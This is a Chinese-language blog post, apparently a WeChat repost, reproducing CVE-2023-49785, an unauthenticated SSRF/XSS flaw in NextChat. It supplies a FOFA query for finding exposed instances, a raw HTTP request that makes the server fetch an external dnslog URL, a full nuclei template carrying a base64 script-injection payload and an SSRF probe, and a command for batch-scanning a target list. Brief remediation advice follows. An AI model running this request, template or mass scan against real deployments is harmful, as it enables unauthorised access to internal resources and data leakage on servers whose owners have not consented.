[在野利用]CVE-2023-49785漏洞复现（poc）

admin
admin
admin
102795
文章
87
评论
2024年4月22日07:59:28评论24 views字数 2093阅读6分58秒阅读模式

免责申明：本文内容为学习笔记分享，仅供技术学习参考，请勿用作违法用途，任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责，与作者无关！！！

前几天因为之前文章中一些图片涉黄账号被封了，断更了，今天终于恢复了，继续更。账号被封后一段时间内可能是没流量的状态，如果觉得小编写的还有点用，希望您点个赞支持下，谢谢！

01

—

漏洞名称

NextChat cors SSRF 漏洞

02

—

漏洞影响

NextChat 

[在野利用]CVE-2023-49785漏洞复现（poc）

03

—

漏洞描述

NextChat 是一个面向用户的GPT类应用程序，用户可以通过这个程序与GPT进行交互。2024年3月，互联网上披露CVE-2023-49785 NextChat cors SSRF 漏洞，攻击者可在无需登陆的情况下构造恶意请求造成SSRF，造成敏感信息泄漏等。

04

—

FOFA搜索语句
title="NextChat"

[在野利用]CVE-2023-49785漏洞复现（poc）

05

—

漏洞复现

SSRF漏洞复现通常使用DNSlog方式，向靶场发送如下数据包，请求dnslog的url，其中URL中kr9dqoau.dnslog.pw是dnslog地址

GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1Host: x.x.x.x:10000User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36Connection: closeAccept: */*Accept-Language: enAccept-Encoding: gzip

向靶场发包之后DNSLOG能看到访问记录

[在野利用]CVE-2023-49785漏洞复现（poc）

漏洞复现成功

参考链接

https://www.horizon3.ai/attack-research/attack-blogs/nextchat-an-ai-chatbot-that-lets-you-talk-to-anyone-you-want-to/

06

—

批量漏洞扫描 poc

nuclei poc文件内容如下

id: CVE-2023-49785info:  name: ChatGPT-Next-Web - SSRF/XSS  author: high  severity: critical  description: |    Full-Read SSRF/XSS in NextChat, aka ChatGPT-Next-Web  remediation: |    Do not expose to the Internet  reference:    - https://www.horizon3.ai/attack-research/attack-blogs/nextchat-an-ai-chatbot-that-lets-you-talk-to-anyone-you-want-to/    - https://github.com/ChatGPTNextWeb/ChatGPT-Next-Web  classification:    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N    cvss-score: 9.1    cve-id: CVE-2023-49785  metadata:    max-request: 1    shodan-query: title:NextChat,"ChatGPT Next Web"    verified: true  tags: cve,cve2023,ssrf,xss,chatgpt,nextchathttp:  - method: GET    path:      - "{{BaseURL}}/api/cors/data:text%2fhtml;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+%23"      - "{{BaseURL}}/api/cors/http:%2f%2fnextchat.{{interactsh-url}}%23"    matchers-condition: or    matchers:      - type: dsl        dsl:          - contains(body_1, "<script>alert(document.domain)</script>")          - contains(header_1, "text/html")        condition: and      - type: dsl        dsl:          - contains(header_2,'X-Interactsh-Version')          - contains(interactsh_protocol_2,'dns')        condition: and

运行POC

nuclei.exe -t mypoc/cve/CVE-2023-49785.yaml -l data/NextChat.txt

07

—

修复建议

该漏洞EXP已公开传播，漏洞利用成本极低，建议您立即关注并修复。

1、升级至最新版本。
2、利用安全组设置其仅对可信地址开放。

08

—

新粉丝

原文始发于微信公众号（AI与网安）：[在野利用]CVE-2023-49785漏洞复现（poc）

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月22日07:59:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   [在野利用]CVE-2023-49785漏洞复现（poc）http://cn-sec.com/archives/2573973.html

发表评论

匿名网友 填写信息